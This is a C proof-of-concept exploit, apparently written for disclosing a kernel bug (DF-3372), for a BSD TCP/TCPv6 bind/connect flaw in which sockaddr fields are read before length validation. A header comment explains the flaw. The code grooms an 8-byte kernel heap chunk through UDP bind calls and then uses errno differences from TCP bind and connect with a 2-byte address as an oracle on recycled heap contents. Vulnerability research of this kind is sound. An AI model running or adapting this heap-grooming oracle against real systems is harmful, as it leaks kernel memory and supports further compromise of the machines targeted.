/*
 * DF-3372 PoC: sockaddr fields read before sa_len validation in
 * tcp_usr_bind / tcp_usr_connect / tcp_usr_preconnect (v4) and
 * tcp6_usr_bind / tcp6_usr_connect (v6) -- sys/netinet/tcp_usrreq.c
 *
 * getsockaddr() (sys/kern/uipc_syscalls.c:1513) kmallocs EXACTLY the
 * user-supplied namelen bytes and copies only that many bytes.
 * With namelen=2 on a TCP socket, tcp_usr_bind (tcp_usrreq.c:316-321)
 * reads sin_addr at offsets 4..7 -- 6 bytes past the copied data but
 * still inside the 8-byte slab chunk (zoneindex(): 2 -> 8-byte class),
 * i.e. recycled, attacker-influenceable heap contents, BEFORE
 * in_pcbbind() validates sa_len == 16 (in_pcb.c:648).
 *
 * Groom: a UDP bind() with an 8-byte sockaddr allocates the same
 * 8-byte M_SONAME zone chunk with attacker-controlled bytes 2..7
 * (sin_addr) and frees it at syscall exit.  The following TCP bind()
 * with a 2-byte sockaddr reuses the same chunk (same thread, LIFO
 * free list), so the multicast check reads the groomed address.
 *
 *   groom sin_addr = 224.0.0.1 -> bind/connect returns EAFNOSUPPORT
 *   groom sin_addr = 8.8.8.8   -> returns EINVAL (in_pcbbind sa_len)
 *
 * The v6 bind with namelen=8 reads sin6_addr (offsets 8..23) fully
 * past the 8-byte chunk into neighboring zone chunks (16-byte
 * cross-object OOB read; its multicast bit lands on the neighbour's
 * sa_len byte, so that oracle bit cannot be groomed to 0xff this way).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

static int udp4;

static void
groom8(unsigned char a, unsigned char b, unsigned char c, unsigned char d)
{
	unsigned char g[8];

	g[0] = 8;				/* sa_len */
	g[1] = AF_INET;				/* sa_family */
	g[2] = 0x11; g[3] = 0x22;		/* sin_port (bogus) */
	g[4] = a; g[5] = b; g[6] = c; g[7] = d;	/* sin_addr */

	bind(udp4, (struct sockaddr *)g, 8);	/* alloc + free regardless */
}

static int
tcp_op(int len, int do_connect)
{
	unsigned char sa[8];
	int s, r;

	sa[0] = len;
	sa[1] = AF_INET;
	sa[2] = 0x33; sa[3] = 0x44;

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (do_connect)
		r = connect(s, (struct sockaddr *)sa, len);
	else
		r = bind(s, (struct sockaddr *)sa, len);
	close(s);
	return (r == 0) ? 0 : errno;
}

int
main(void)
{
	int i, r_mc, r_uc, c_mc, c_uc;

	udp4 = socket(AF_INET, SOCK_DGRAM, 0);

	printf("== TCP bind with 2-byte sockaddr (sin_addr@4..7 from recycled chunk) ==\n");
	for (i = 0; i < 5; i++) {
		groom8(224, 0, 0, 1);
		groom8(224, 0, 0, 1);
		r_mc = tcp_op(2, 0);

		groom8(8, 8, 8, 8);
		groom8(8, 8, 8, 8);
		r_uc = tcp_op(2, 0);

		printf("round %d: groom=224.0.0.1 -> errno %d (%s); "
		       "groom=8.8.8.8 -> errno %d (%s)  %s\n",
		       i, r_mc, strerror(r_mc), r_uc, strerror(r_uc),
		       (r_mc != r_uc) ? "<== ORACLE FLIP" : "");
	}

	printf("== TCP connect with 2-byte sockaddr (same check @tcp_usr_connect) ==\n");
	for (i = 0; i < 5; i++) {
		groom8(224, 0, 0, 1);
		groom8(224, 0, 0, 1);
		c_mc = tcp_op(2, 1);

		groom8(8, 8, 8, 8);
		groom8(8, 8, 8, 8);
		c_uc = tcp_op(2, 1);

		printf("round %d: groom=224.0.0.1 -> errno %d (%s); "
		       "groom=8.8.8.8 -> errno %d (%s)  %s\n",
		       i, c_mc, strerror(c_mc), c_uc, strerror(c_uc),
		       (c_mc != c_uc) ? "<== ORACLE FLIP" : "");
	}

	return (0);
}
